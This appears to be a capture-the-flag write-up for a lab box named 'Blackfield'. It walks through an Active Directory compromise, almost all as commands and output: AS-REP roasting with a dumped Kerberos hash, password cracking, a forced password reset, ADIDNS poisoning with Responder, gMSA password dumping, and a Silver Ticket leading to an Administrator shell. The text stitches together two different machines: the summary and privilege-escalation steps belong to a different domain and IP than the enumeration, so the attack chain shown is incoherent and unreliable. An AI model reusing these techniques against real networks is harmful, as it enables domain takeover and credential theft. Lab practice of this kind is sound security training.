Blackfield

Summary

Multiple open ports revealed Active Directory environment (LDAP, Kerberos, SMB, DNS, HTTP).
Extracted usernames using metadata from .pdf files via directory fuzzing.
Discovered default password from internal onboarding document.
Gained initial shell via SMB share enumeration using valid credentials.
Discovered PowerShell script that sends web checks to DNS records, enabling ADIDNS-based NTLM relay.
Captured Ted.Graves’s NTLM hash using Responder and cracked it.
Used BloodHound to find ReadGMSAPassword privilege on svc_int account.
Retrieved svc_int hash using gMSADumper and generated a Silver Ticket as Administrator.
Gained full access via Kerberos-authenticated wmiexec.py.

🧵 Let's Unpack

🔍Enumeration

sudo nmap -sC -sV -A -T5 -p- 10.10.10.248

Open ports included:

LDAP (389, 636, 3268, 3269)
Kerberos (88, 464)
SMB (139, 445)
HTTP (80, 5985)
DNS (53)
RPC (135, 593, 49667+)
Others related to Active Directory services

Anonymous SMB enumeration using enum4linux and smbclient revealed no useful info, but identified domain: intelligence.htb.

RPCClient

rpcclient $> lsaquery
Domain Name: BLACKFIELD
Domain Sid: S-1-5-21-4194615774-2175524697-3563712290

SMB Client

# using nmblookup
nmblookup -A 10.10.10.192

# smbclient
        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        forensic        Disk      Forensic / Audit share.
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share 
        profiles$       Disk      
        SYSVOL          Disk      Logon server share 

# crackmapexec
crackmapexec smb 10.10.10.192 -u '' -p '' -M spider_plus

SMB         10.10.10.192    445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:BLACKFIELD.local) (signing:True) (SMBv1:False)
SMB         10.10.10.192    445    DC01             [+] BLACKFIELD.local\: 
SPIDER_P... 10.10.10.192    445    DC01             [*] Started spidering plus with option:
SPIDER_P... 10.10.10.192    445    DC01             [*]        DIR: ['print$']
SPIDER_P... 10.10.10.192    445    DC01             [*]        EXT: ['ico', 'lnk']
SPIDER_P... 10.10.10.192    445    DC01             [*]       SIZE: 51200
SPIDER_P... 10.10.10.192    445    DC01             [*]     OUTPUT: /tmp/cme_spider_plus
SMB         10.10.10.192    445    DC01             [-] Error enumerating shares: STATUS_ACCESS_DENIED


# using MSF
msf6 auxiliary(scanner/smb/smb_lookupsid) > run

[*] 10.10.10.192:445 - PIPE(LSARPC) LOCAL(BLACKFIELD - 5-21-4194615774-2175524697-3563712290) DOMAIN(BLACKFIELD - 5-21-4194615774-2175524697-3563712290)
[*] 10.10.10.192:445 - BLACKFIELD [ ]

# enum4linux
Domain Name: BLACKFIELD                                                                                                                          
Domain Sid: S-1-5-21-4194615774-2175524697-3563712290



## DC
domain Controller -> blackfield.local

Kerbrute Enum

kerbrute userenum  -d dc01.blackfield.local /usr/share/seclists/Usernames/top-usernames-shortlist.txt



2024/06/12 23:50:12 >  [+] VALID USERNAME:       audit2020@blackfield.local
2024/06/12 23:52:13 >  [+] support has no pre auth required. Dumping hash to crack offline:
$krb5asrep$18$support@BLACKFIELD.LOCAL:cc6939c0b17716f2ed1778099b862921$448d7ccfccee671614ca6a6d53fbfc17ccd2ad2aec0101559ef760b0ee1add202b3b71930d3a5e2007f998c09b98d8e589ff155d4c8df4ebb1c1b36305d57acd8e812782f683cd3418e37f552fb3f60e8d7dd82692d2c08193dec3a8d2d3816bb13f53bcd8df70bd8e67f577e34a9ab237a2dbeec2903bed393d2d8edbb437707eac2d6246f9a0a7b0002f748e539ce7f3b60240be849910931a4627e101de566b78881940ac92aae8855faccfd593b61c3b7d5a0d00ff1cdd717c3d3dc5ed9ba56fb653774fdcb9ee234691cb9cb53183405fa58963a1b693e7100ca8e2fd31a432173198c4fd4aad0f25463cb96bf579ee16c67cbbe95482b06658c015a8280205c9cbed2cef4b                                                                                                                             
2024/06/12 23:52:13 >  [+] VALID USERNAME:       support@blackfield.local
2024/06/12 23:52:19 >  [+] VALID USERNAME:       svc_backup@blackfield.local

Cracking the hash - ASREP token

sudo hashcat -m 18200 hash.asrep /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force


# Cracked the hash using john instead
#00^BlackKnight  ($krb5asrep$23$support@BLACKFIELD.LOCAL)

Enumerating using valid credentials

# Running Bloodhound
bloodhound-python -d blackfield.local -u support -p '<PASS>' -ns 10.10.10.192 -c All

Findings

The user SUPPORT@BLACKFIELD.LOCAL has the capability to change the user AUDIT2020@BLACKFIELD.LOCAL's password without knowing that user's current password.

Let’s try to change password using rpcClient

# log into rpcclient
rpcclient -U "support" 10.10.10.192


# change password (Incorrect way of changing password)
chgpasswd audit2020@blackfield.local Password@123 Password@123

# correct way 
setuserinfo2 audit2020 23 'Password@123'


# verify if password change was a success
crackmapexec smb 10.10.10.192 -u audit2020@blackfield.local -p 'Password@123' --continue-on-succes
SMB         10.10.10.192    445    DC01             [+] BLACKFIELD.local\audit2020@blackfield.local:Password@123

The computer DC01.BLACKFIELD.LOCAL has the DS-Replication-Get-Changes and the DS-Replication-Get-Changes-All privilege on the domain BLACKFIELD.LOCAL.

Privilege Escalation

Part 1: NTLM Relay via ADIDNS

Exploited ADIDNS record creation via dnstool.py:

./dnstool.py -u 'Tiffany.Molina' -p 'NewIntelligenceCorpUser9876' 10.10.10.248 -a add -r webl -d 10.10.14.13 -t A

Ran responder on attack box and waited for the script to trigger:
```
sudo responder -I tun0
```
Captured NTLMv2 hash for Ted.Graves.
Cracked hash and got creds:
```
Username: Ted.Graves
Password: Mr.Teddy
```

Part 2: BloodHound & GMSA Abuse

Ran BloodHound collection using bloodhound-python:

bloodhound-python -u 'Ted.Graves' -p 'Mr.Teddy' -d intelligence.htb -ns 10.10.10.248 -c All

Found Ted.Graves is part of a group with ReadGMSAPassword rights on svc_int.

Dumped GMSA password using:

./gMSADumper.py -u 'Ted.Graves' -p 'Mr.Teddy' -d intelligence.htb -l 10.10.10.248

Output:

svc_int$:aes256-cts-hmac-sha1-96:<HASH>

Part 3: Silver Ticket

Created Silver Ticket as Administrator:

getST.py -spn WWW/dc.intelligence.htb -impersonate Administrator intelligence.htb/svc_int -hashes :<svc_int_hash>

Exported ticket:
```
export KRB5CCNAME=Administrator.ccache
```
Executed command with elevated privileges:
```
wmiexec.py -k -no-pass dc.intelligence.htb
```
→ Got shell as Administrator 🎉

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Last updated 1 month ago